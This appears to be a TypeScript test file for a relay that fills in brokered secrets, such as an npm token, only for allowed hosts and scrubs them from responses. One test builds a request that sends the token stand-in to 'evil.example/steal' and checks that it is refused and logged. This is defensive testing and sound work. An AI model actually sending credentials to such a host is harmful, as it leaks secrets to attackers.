| 1 | import assert from "node:assert/strict"; |
| 2 | import { test } from "node:test"; |
| 3 | |
| 4 | import type { BrokeredSecret } from "@g1t/contracts"; |
| 5 | |
| 6 | import { |
| 7 | ANSWER_HEADER, |
| 8 | MAX_REQUEST_BYTES, |
| 9 | REQUEST_HEADER, |
| 10 | type RelayDeps, |
| 11 | answerHeaders, |
| 12 | capped, |
| 13 | readCapped, |
| 14 | readRelayed, |
| 15 | relay, |
| 16 | replaceBytes, |
| 17 | scrubStream, |
| 18 | scrubbedType, |
| 19 | } from "./broker-relay.ts"; |
| 20 | |
| 21 | const NPM: BrokeredSecret = { |
| 22 | standIn: `g1tsec_${"a".repeat(48)}`, |
| 23 | name: "NPM_TOKEN", |
| 24 | value: "npm_realvalue123", |
| 25 | hosts: ["registry.npmjs.org"], |
| 26 | }; |
| 27 | |
| 28 | const b64 = (value: unknown) => btoa(JSON.stringify(value)); |
| 29 | |
| 30 | function brokerRequest( |
| 31 | wanted: { method?: string; url: string; headers?: [string, string][] }, |
| 32 | options: { token?: string; job?: string; body?: BodyInit; header?: string } = {}, |
| 33 | ): Request { |
| 34 | const headers = new Headers({ "x-g1t-broker-job": options.job ?? "job_1" }); |
| 35 | if (options.token !== "") headers.set("authorization", `Bearer ${options.token ?? "current"}`); |
| 36 | headers.set(REQUEST_HEADER, options.header ?? b64({ method: wanted.method ?? "GET", url: wanted.url, headers: wanted.headers ?? [] })); |
| 37 | return new Request("https://runner/rpc/broker", { method: "POST", headers, body: options.body }); |
| 38 | } |
| 39 | |
| 40 | type Seen = { sent: Request[]; notes: string[] }; |
| 41 | |
| 42 | function deps(answer: (request: Request) => Response, secrets: BrokeredSecret[] | null = [NPM]): RelayDeps & { seen: Seen } { |
| 43 | const seen: Seen = { sent: [], notes: [] }; |
| 44 | return { |
| 45 | seen, |
| 46 | async secrets(_job, token) { |
| 47 | return token === "current" ? secrets : null; |
| 48 | }, |
| 49 | async note(_job, _token, text) { |
| 50 | seen.notes.push(text); |
| 51 | }, |
| 52 | async send(request) { |
| 53 | seen.sent.push(request); |
| 54 | return answer(request); |
| 55 | }, |
| 56 | }; |
| 57 | } |
| 58 | |
| 59 | function answerOf(response: Response): { status: number; headers: [string, string][] } { |
| 60 | return JSON.parse(atob(response.headers.get(ANSWER_HEADER) ?? "")); |
| 61 | } |
| 62 | |
| 63 | test("a request carrying a stand-in for its host is filled in, sent, and its answer scrubbed", async () => { |
| 64 | const d = deps( |
| 65 | (request) => |
| 66 | new Response(`{"token":"${request.headers.get("authorization")?.slice(7)}"}`, { |
| 67 | status: 201, |
| 68 | headers: { "content-type": "application/json", "x-echo": "npm_realvalue123", "content-encoding": "gzip" }, |
| 69 | }), |
| 70 | ); |
| 71 | const response = await relay( |
| 72 | brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`], ["connection", "keep-alive"]] }), |
| 73 | d, |
| 74 | ); |
| 75 | assert.equal(response.status, 200); |
| 76 | assert.equal(d.seen.sent.length, 1); |
| 77 | const sent = d.seen.sent[0]; |
| 78 | assert.equal(sent.headers.get("authorization"), "Bearer npm_realvalue123"); |
| 79 | assert.equal(sent.headers.get("connection"), null, "the connection's own headers go no further"); |
| 80 | assert.equal(sent.redirect, "manual"); |
| 81 | const answer = answerOf(response); |
| 82 | assert.equal(answer.status, 201); |
| 83 | assert.deepEqual(Object.fromEntries(answer.headers)["x-echo"], NPM.standIn); |
| 84 | assert.equal(Object.fromEntries(answer.headers)["content-encoding"], undefined, "the body is relayed decoded"); |
| 85 | const body = await response.text(); |
| 86 | assert.equal(body, `{"token":"${NPM.standIn}"}`); |
| 87 | assert.ok(!JSON.stringify(answer).includes(NPM.value) && !body.includes(NPM.value)); |
| 88 | assert.deepEqual(d.seen.notes, []); |
| 89 | }); |
| 90 | |
| 91 | test("a body is relayed, and one past the limit is refused", async () => { |
| 92 | const d = deps(async () => new Response(null, { status: 204 })); |
| 93 | const ok = await relay( |
| 94 | brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: "tarball" }), |
| 95 | d, |
| 96 | ); |
| 97 | assert.equal(answerOf(ok).status, 204); |
| 98 | assert.equal(await d.seen.sent[0].text(), "tarball"); |
| 99 | const big = new Uint8Array(MAX_REQUEST_BYTES + 1); |
| 100 | const tooBig = await relay( |
| 101 | brokerRequest({ method: "PUT", url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }, { body: big }), |
| 102 | d, |
| 103 | ); |
| 104 | assert.equal(tooBig.status, 413); |
| 105 | assert.equal(d.seen.sent.length, 1, "nothing more was sent"); |
| 106 | }); |
| 107 | |
| 108 | test("it is no open proxy: no stand-in, another host, or plain HTTP is refused and noted", async () => { |
| 109 | const d = deps(() => new Response("never")); |
| 110 | const none = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg" }), d); |
| 111 | assert.equal(none.status, 403); |
| 112 | assert.equal(none.headers.get(ANSWER_HEADER), null); |
| 113 | const elsewhere = await relay(brokerRequest({ url: "https://evil.example/steal", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); |
| 114 | assert.equal(elsewhere.status, 403); |
| 115 | const plain = await relay(brokerRequest({ url: "http://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); |
| 116 | assert.equal(plain.status, 403); |
| 117 | assert.equal(d.seen.sent.length, 0); |
| 118 | assert.equal(d.seen.notes.length, 3); |
| 119 | assert.match(d.seen.notes[0], /without a stand-in/); |
| 120 | assert.match(d.seen.notes[1], /NPM_TOKEN was sent to evil\.example/); |
| 121 | // Once per secret and host. |
| 122 | await relay(brokerRequest({ url: "https://evil.example/again", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); |
| 123 | assert.equal(d.seen.notes.length, 3); |
| 124 | }); |
| 125 | |
| 126 | test("only the job's current token opens it, and it must come as a header", async () => { |
| 127 | const d = deps(() => new Response("never")); |
| 128 | const wanted = { url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] as [string, string][] }; |
| 129 | assert.equal((await relay(brokerRequest(wanted, { token: "spent" }), d)).status, 401); |
| 130 | assert.equal((await relay(brokerRequest(wanted, { token: "" }), d)).status, 401); |
| 131 | assert.equal((await relay(brokerRequest(wanted, { header: "not base64 json" }), d)).status, 400); |
| 132 | assert.equal((await relay(brokerRequest({ ...wanted, method: "CONNECT" }), d)).status, 400); |
| 133 | assert.equal(d.seen.sent.length, 0); |
| 134 | }); |
| 135 | |
| 136 | test("a request has a time limit", async () => { |
| 137 | const d = deps(() => new Response("ok")); |
| 138 | await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); |
| 139 | assert.ok(d.seen.sent[0].signal instanceof AbortSignal); |
| 140 | }); |
| 141 | |
| 142 | test("an answer past the limit is refused by its length, or cut off as it streams", async () => { |
| 143 | const d = deps(() => new Response("x", { headers: { "content-length": String(2 * 1024 * 1024 * 1024) } })); |
| 144 | const response = await relay(brokerRequest({ url: "https://registry.npmjs.org/pkg", headers: [["authorization", `Bearer ${NPM.standIn}`]] }), d); |
| 145 | assert.equal(response.status, 502); |
| 146 | const cut = new Response(new Blob(["12345"]).stream().pipeThrough(capped(3))); |
| 147 | await assert.rejects(cut.text()); |
| 148 | }); |
| 149 | |
| 150 | test("a value split across chunks is still scrubbed, and other bytes pass as they are", async () => { |
| 151 | const pairs = [{ from: new TextEncoder().encode("secret"), to: new TextEncoder().encode("STAND") }]; |
| 152 | const one = replaceBytes(new TextEncoder().encode("a secret here"), pairs, true); |
| 153 | assert.equal(new TextDecoder().decode(one.out), "a STAND here"); |
| 154 | // The last bytes that could begin a value wait for the next chunk. |
| 155 | const held = replaceBytes(new TextEncoder().encode("xx sec"), pairs, false); |
| 156 | assert.equal(new TextDecoder().decode(held.out), "x"); |
| 157 | assert.equal(new TextDecoder().decode(held.rest), "x sec"); |
| 158 | |
| 159 | const chunks = ["{\"t\":\"npm_real", "value123\",\"u\":\"npm_", "realvalue123\"}"]; |
| 160 | const source = new ReadableStream<Uint8Array>({ |
| 161 | start(controller) { |
| 162 | for (const chunk of chunks) controller.enqueue(new TextEncoder().encode(chunk)); |
| 163 | controller.close(); |
| 164 | }, |
| 165 | }); |
| 166 | const text = await new Response(source.pipeThrough(scrubStream([NPM]))).text(); |
| 167 | assert.equal(text, `{"t":"${NPM.standIn}","u":"${NPM.standIn}"}`); |
| 168 | }); |
| 169 | |
| 170 | test("text bodies are scrubbed whatever their size; binary ones stream as they are", () => { |
| 171 | assert.ok(scrubbedType(new Headers({ "content-type": "application/json; charset=utf-8" }))); |
| 172 | assert.ok(scrubbedType(new Headers({ "content-type": "text/html" }))); |
| 173 | assert.ok(scrubbedType(new Headers({ "content-type": "application/vnd.api+json" }))); |
| 174 | assert.ok(scrubbedType(new Headers())); |
| 175 | assert.ok(!scrubbedType(new Headers({ "content-type": "application/octet-stream" }))); |
| 176 | assert.ok(!scrubbedType(new Headers({ "content-type": "application/gzip" }))); |
| 177 | }); |
| 178 | |
| 179 | test("the request reads only in its own shape, and answer headers keep each cookie", async () => { |
| 180 | assert.deepEqual(readRelayed(b64({ method: "get", url: "https://a.example/", headers: [["a", "1"]] })), { |
| 181 | method: "GET", |
| 182 | url: "https://a.example/", |
| 183 | headers: [["a", "1"]], |
| 184 | }); |
| 185 | assert.equal(readRelayed(b64({ method: "GET", url: "https://a.example/", headers: [["a", 1]] })), null); |
| 186 | assert.equal(readRelayed(null), null); |
| 187 | const headers = new Headers({ "content-type": "text/plain", "transfer-encoding": "chunked" }); |
| 188 | headers.append("set-cookie", "a=1"); |
| 189 | headers.append("set-cookie", "b=2"); |
| 190 | assert.deepEqual(answerHeaders(headers), [ |
| 191 | ["content-type", "text/plain"], |
| 192 | ["set-cookie", "a=1"], |
| 193 | ["set-cookie", "b=2"], |
| 194 | ]); |
| 195 | assert.deepEqual(await readCapped(new Blob(["abc"]).stream(), 3), new TextEncoder().encode("abc")); |
| 196 | assert.equal(await readCapped(new Blob(["abcd"]).stream(), 3), null); |
| 197 | }); |